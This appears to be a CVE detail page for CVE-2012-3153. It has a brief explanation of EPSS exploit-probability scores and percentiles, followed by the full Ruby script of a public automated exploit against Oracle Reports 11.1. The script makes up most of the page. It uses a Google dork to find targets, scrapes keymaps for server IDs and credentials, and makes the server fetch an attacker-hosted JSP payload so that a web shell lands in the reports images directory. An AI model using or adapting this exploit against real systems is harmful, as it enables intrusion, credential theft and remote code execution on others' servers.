CVE-2012-3153 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/env ruby # Exploit Title: Oracle Reports 11.1 # About: Automated exploit for CVE-2012-3153/CVE-2012-3152 # Google Dork: inurl:/reports/rwservlet/ # Date: 01/28/2014 # Exploit Author: Mekanismen <mattias@gotroot.eu> # Credits to: @miss_sudo for initial disclosure # Reference: http://netinfiltration.com/ # Vendor Homepage: http://www.oracle.com/ # Version: 11.1 # Tested on: Linux # CVE-2012-3153 # CVE-2012-3152 require 'uri' require 'open-uri' require 'openssl' #OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE def upload_payload(dest) url = "#{@url}/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/#{dest}/images/#{@payload_name}+JOBTYPE=rwurl+URLPARAMETER='#{@payload_url}'" #print url begin uri = URI.parse(url) html = uri.open.read rescue html = "" end if html =~ /Successfully run/ @hacked = true print "[+] Payload uploaded!\n" else print "[-] Payload uploaded failed\n" end end def getenv(server, authid) print "[+] Found server: #{server}\n" print "[+] Found credentials: #{authid}\n" print "[*] Querying showenv ... \n" begin uri = URI.parse("#{@url}/reports/rwservlet/showenv?server=#{server}&authid=#{authid}") html = uri.open.read rescue html = "" end if html =~ /\/(.*)\/showenv/ print "[+] Query succeeded, uploading payload ... \n" upload_payload($1) else print "[-] Query failed... \n" end end @payload_url = "" #the url that holds our payload (we can execute .jsp on the server) @url = "" #url to compromise @hacked = false @payload_name = (0...8).map { ('a'..'z').to_a[rand(26)] }.join + ".jsp" print "[*] PWNACLE Fusion - Mekanismen <mattias@gotroot.eu>\n" print "[*] Automated exploit for CVE-2012-3152 / CVE-2012-3153\n" print "[*] Credits to: @miss_sudo\n" unless ARGV[0] and ARGV[1] print "[-] Usage: ./pwnacle.rb target_url payload_url\n" exit end @url = ARGV[0] @payload_url = ARGV[1] print "[*] Target URL: #{@url}\n" print "[*] Payload URL: #{@payload_url}\n" print "[*] Payload name: #{@payload_name}\n" begin #Can we view keymaps? uri = URI.parse("#{@url}/reports/rwservlet/showmap") html = uri.open.read rescue print "[-] URL not vulnerable or unreachable\n" exit end test = html.scan(/<SPAN class=OraInstructionText>(.*)<\/SPAN><\/TD>/).flatten #Parse keymaps for servers print "[*] Enumerating keymaps ... \n" test.each do |t| if not @hacked t = t.delete(' ') url = "#{@url}/reports/rwservlet/parsequery?#{t}" begin uri = URI.parse(url) html = uri.open.read rescue end #to automate exploitation we need to query showenv for a local path #we need a server id and creds for this, we enumerate the keymaps and hope for the best #showenv tells us the local PATH of /reports/ where we upload the shell #so we can reach it from /reports/images/<shell>.jsp if html =~ /userid=(.*)@/ authid = $1 end if html =~ /server=(\S*)/ server = $1 end if server and authid getenv(server, authid) end else break end end if @hacked print "[*] Server hopefully compromised!\n" print "[*] Payload url: #{@url}/reports/images/#{@payload_name}\n" else print "[*] Enumeration done ... no vulnerable keymaps for automatic explotation found :(\n" #server is still vulnerable but cannot be automatically exploited ... i guess end